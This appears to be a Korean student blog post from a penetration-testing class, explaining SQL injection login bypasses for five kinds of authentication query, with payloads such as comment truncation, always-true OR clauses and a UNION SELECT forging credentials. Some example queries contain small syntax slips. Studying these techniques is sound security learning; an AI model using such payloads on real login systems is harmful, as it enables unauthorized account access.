일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
- 2002(HY000)
- Union SQL Injection
- ubuntu
- docker compose
- mocOS
- sqli
- 가상머신 os
- XAVIS
- utmp
- SQLi wargame
- goblin 3번
- Python requests 설치
- MySQL
- M2
- sql injection
- ModuleNotFoundError: No module named ‘requests’
- Lord of SQL Injection
- Kail Linux
- LOS 5번
- SQL i
- los.rubiya.kr
- No module named ‘requests’
- Error Based SQL Injection
- blind SQLi
- UTM
- btmp
- 1819 (HY000):
- str_replace함수
- Lord of SQLinjection
- 우분투
- Today
- Total
klaus
[Week-2]로그인 인증/식별 case별 SQLi 인증 우회 본문
지난 시간에는 웹페이지에서 로그인 인증 및 식별하는 case별로 SQL문을 확인해보았습니다.
이번에는 그 케이스 별로 sql injection 인증 우회하는 방법을 간단하게 알아보겠습니다.
https://toriyong.tistory.com/9
3. SQL쿼리를 통해 식별/인증 우회
1. 식별/인증을 동시에 처리하는 유형
SELECT * FROM [테이블명] WHERE id = '$username' AND pass = '$pass'; 해당 방법의 경우
1) id : admin' # pass : 임의값
SELECT * FROM [테이블명] WHERE id = 'admin #' AND pass = '임의값' ;
== 해당 방법은 SQL문법 중 주석(#)을 사용하여 id뒤 부분 즉 pass 구문이 주석처리가 됩니다. 이렇게 DB에 전달되면 테이블에 입력된 아이디만 있다면 로그인에 성공합니다.
2) id : admin' or '1' = '1; pass : 임의값
SELECT * FROM [테이블명] WHERE id = 'admin ' or '1' ='1';# AND pass = '임의값' ;
2. 식별/인증 분리하여 처리하는 유형
SELECT user_name,password FROM [테이블명] WHERE id = '$username'
IF ($row ['password'] =='$pass'); 해당 방법의 경우
id : x' union select 'admin','1234' pass : 1234
SELECT user_name,password FROM [테이블명] WHERE id = 'x' union select 'admin', ,'1234'
3. 식별/인증을 동시에 처리하는 유형 (with HASH)
SELECT * FROM [테이블명] WHERE id = '$username' AND pass = hash('$pass'); 해당 방법의 경우
1번과 동일하다고 할 수 있다 #과 같은 주석처리를 사용하여 우회 가능합니다.
4. 식별/인증 분리하여 처리하는 유형 (with HASH)
2번의 SQL 구문에서 PW를 HASH값으로 변환하여 입력하면 우회 가능합니다.
5. 식별/인증 분리하여 처리하는 유형(with. 개행(\n))
해당 케이스는 특징은 개행으로 인해 주석처리로 인한 우회가 불가능하다는 점입니다.
우회를 하고 싶다면 논리 기호인 '를 사용하여 우회가 가능합니다.
id: admin' or '1'='1
pass : 1234
이렇게 우회하는 방법에 대해 간단하게 정리해보았습니다.
'수업 > 모의해킹' 카테고리의 다른 글
[Week-4] BLIND Based SQLi (20221103) (0) | 2022.11.06 |
---|---|
[Week_4] SQL Injection 예습(feat. Blind SQLi, 대응방안) (0) | 2022.11.02 |
[week_3] 스터디 정리 및 복습 (20221028) (0) | 2022.10.28 |
[Week_3] SQL Injection 예습 (0) | 2022.10.27 |
[Week-2] 로그인 인증/식별 (0) | 2022.10.21 |